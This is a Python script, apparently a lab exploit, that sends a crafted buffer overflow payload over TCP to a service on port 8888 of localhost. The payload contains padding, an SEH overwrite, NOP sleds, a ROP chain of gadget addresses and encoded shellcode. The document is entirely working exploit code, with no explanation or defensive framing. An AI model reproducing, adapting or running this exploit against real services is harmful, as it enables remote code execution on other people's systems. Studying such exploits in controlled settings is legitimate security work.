1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| import sys import socket import struct
target="127.0.0.1"
shellcode = b"" shellcode += b"\xda\xd9\xd9\x74\x24\xf4\xba\xc2\x93\x9a\x62" shellcode += b"\x58\x33\xc9\xb1\x52\x83\xe8\xfc\x31\x50\x13" shellcode += b"\x03\x92\x80\x78\x97\xee\x4f\xfe\x58\x0e\x90" shellcode += b"\x9f\xd1\xeb\xa1\x9f\x86\x78\x91\x2f\xcc\x2c" shellcode += b"\x1e\xdb\x80\xc4\x95\xa9\x0c\xeb\x1e\x07\x6b" shellcode += b"\xc2\x9f\x34\x4f\x45\x1c\x47\x9c\xa5\x1d\x88" shellcode += b"\xd1\xa4\x5a\xf5\x18\xf4\x33\x71\x8e\xe8\x30" shellcode += b"\xcf\x13\x83\x0b\xc1\x13\x70\xdb\xe0\x32\x27" shellcode += b"\x57\xbb\x94\xc6\xb4\xb7\x9c\xd0\xd9\xf2\x57" shellcode += b"\x6b\x29\x88\x69\xbd\x63\x71\xc5\x80\x4b\x80" shellcode += b"\x17\xc5\x6c\x7b\x62\x3f\x8f\x06\x75\x84\xed" shellcode += b"\xdc\xf0\x1e\x55\x96\xa3\xfa\x67\x7b\x35\x89" shellcode += b"\x64\x30\x31\xd5\x68\xc7\x96\x6e\x94\x4c\x19" shellcode += b"\xa0\x1c\x16\x3e\x64\x44\xcc\x5f\x3d\x20\xa3" shellcode += b"\x60\x5d\x8b\x1c\xc5\x16\x26\x48\x74\x75\x2f" shellcode += b"\xbd\xb5\x85\xaf\xa9\xce\xf6\x9d\x76\x65\x90" shellcode += b"\xad\xff\xa3\x67\xd1\xd5\x14\xf7\x2c\xd6\x64" shellcode += b"\xde\xea\x82\x34\x48\xda\xaa\xde\x88\xe3\x7e" shellcode += b"\x70\xd8\x4b\xd1\x31\x88\x2b\x81\xd9\xc2\xa3" shellcode += b"\xfe\xfa\xed\x69\x97\x91\x14\xfa\x58\xcd\x1b" shellcode += b"\x73\x30\x0c\x23\x92\x9d\x99\xc5\xfe\x0d\xcc" shellcode += b"\x5e\x97\xb4\x55\x14\x06\x38\x40\x51\x08\xb2" shellcode += b"\x67\xa6\xc7\x33\x0d\xb4\xb0\xb3\x58\xe6\x17" shellcode += b"\xcb\x76\x8e\xf4\x5e\x1d\x4e\x72\x43\x8a\x19" shellcode += b"\xd3\xb5\xc3\xcf\xc9\xec\x7d\xed\x13\x68\x45" shellcode += b"\xb5\xcf\x49\x48\x34\x9d\xf6\x6e\x26\x5b\xf6" shellcode += b"\x2a\x12\x33\xa1\xe4\xcc\xf5\x1b\x47\xa6\xaf" shellcode += b"\xf0\x01\x2e\x29\x3b\x92\x28\x36\x16\x64\xd4" shellcode += b"\x87\xcf\x31\xeb\x28\x98\xb5\x94\x54\x38\x39" shellcode += b"\x4f\xdd\x58\xd8\x45\x28\xf1\x45\x0c\x91\x9c" shellcode += b"\x75\xfb\xd6\x98\xf5\x09\xa7\x5e\xe5\x78\xa2" shellcode += b"\x1b\xa1\x91\xde\x34\x44\x95\x4d\x34\x4d"
def create_rop_chain():
rop_gadgets = [ 0x68c50d64, 0x41414141, 0x68c50d64, 0x68fa7ca2, 0xfffffdff, 0x68bd5fe4, 0x68d773fe, 0x41414141, 0x41414141, 0x41414141, 0xffffffff, 0x68fb3ef1, 0x68f8063c, 0x68f9a472, 0xffffffc0, 0x68bd5fe4, 0x68ae7e17, 0x41414141, 0x41414141, 0x41414141, 0x68c13baa, 0x68c018b6, 0x68cef5b4, 0x68d54786, 0x68a9314e, 0x68b226c5, 0x690398a8, 0x68fd02fb, 0x68aa11e6, ] return b''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
buff_size = 4000
junk = b'A'*2352
seh = struct.pack("<L",0x68b72608) nops = b"\x90"*32 nops2 = b"\x90"*1480 junk1 = b"\x41"*16 junk2 = b'C'*(buff_size-2352-4-len(shellcode)-len(nops)-len(nops2))
payload = junk+seh+nops2+junk1+rop_chain+nops+shellcode+junk2
try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target,8888)) s.send(payload) except Exception as e: print(e)
|